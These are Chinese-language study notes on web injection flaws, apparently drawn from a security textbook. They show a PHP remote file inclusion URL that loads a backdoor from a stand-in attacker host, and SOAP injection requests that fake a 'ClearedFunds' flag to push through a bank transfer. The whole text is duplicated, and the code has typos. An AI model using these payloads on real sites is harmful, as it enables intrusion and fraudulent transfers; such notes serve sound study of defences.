动态执行漏洞
PHP的eval
ASP的execute Wscript.Shell
文件包含漏洞
PHP有远程文件包含的漏洞
http://wahh-app.com/main.php?Country=US
应用程序将如下处理
$Counrty=$_GET[‘Country’];
include($country,’php’)
执行环境会加载位于web服务器文件系统的US.php文件,然后这个文件复制到main.php执行,如果攻击者使用一个外部url作为包含文件的位置,可以进行攻击
http://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdor
注入soap
一个银行程序
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430&ToAccount=0844766&Submit=Submit
在处理这个请求的过程中,应用程序在后端组件传送下面soap消息
<soap:Envelope xmlns=http://www.w3.org/2001/12/soap-envelope>
<soap:Body>
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>False</ClearFunds>
<ToAccount>0844766</ ToAccount>
</Account>
</soap:Body>
</soap:Envelope>
应用程序逻辑确定没有足够资金转账时,将元素ClearedFunds设置为false,因此受到soap消息的组件将拒绝转账
如果应用程序处理它遇到的第一个CleraFunds元素,那么即使账户没有足够资金,也可以成功转账
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><Amount>1430&ToAccount=0844766&Submit=Submit
另一方面,如果应用程序处理最后一个CleraFunds元素,那么可以在ToAccount元素中注入类似攻击
另一种攻击使用XML注释完全删除soap消息的一个元素
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><ToAccount><!--&ToAccount=-->0844766&Submit=Submit
这时soap变为
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>True</ClearFunds><ToAccount><!—
<ClearedFunds>False</ClearFunds>
<ToAccount>-->0844766</ ToAccount>
</Account>
防止soap注入的方法
需要对XML元字符进行HTML编码
如< < >>
注入XPATH
XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
注入SMTP
注入LDAP
PHP的eval
ASP的execute Wscript.Shell
文件包含漏洞
PHP有远程文件包含的漏洞
http://wahh-app.com/main.php?Country=US
应用程序将如下处理
$Counrty=$_GET[‘Country’];
include($country,’php’)
执行环境会加载位于web服务器文件系统的US.php文件,然后这个文件复制到main.php执行,如果攻击者使用一个外部url作为包含文件的位置,可以进行攻击
http://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdor
注入soap
一个银行程序
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430&ToAccount=0844766&Submit=Submit
在处理这个请求的过程中,应用程序在后端组件传送下面soap消息
<soap:Envelope xmlns=http://www.w3.org/2001/12/soap-envelope>
<soap:Body>
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>False</ClearFunds>
<ToAccount>0844766</ ToAccount>
</Account>
</soap:Body>
</soap:Envelope>
应用程序逻辑确定没有足够资金转账时,将元素ClearedFunds设置为false,因此受到soap消息的组件将拒绝转账
如果应用程序处理它遇到的第一个CleraFunds元素,那么即使账户没有足够资金,也可以成功转账
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><Amount>1430&ToAccount=0844766&Submit=Submit
另一方面,如果应用程序处理最后一个CleraFunds元素,那么可以在ToAccount元素中注入类似攻击
另一种攻击使用XML注释完全删除soap消息的一个元素
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65
FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><ToAccount><!--&ToAccount=-->0844766&Submit=Submit
这时soap变为
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>True</ClearFunds><ToAccount><!—
<ClearedFunds>False</ClearFunds>
<ToAccount>-->0844766</ ToAccount>
</Account>
防止soap注入的方法
需要对XML元字符进行HTML编码
如< < >>
注入XPATH
XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
注入SMTP
注入LDAP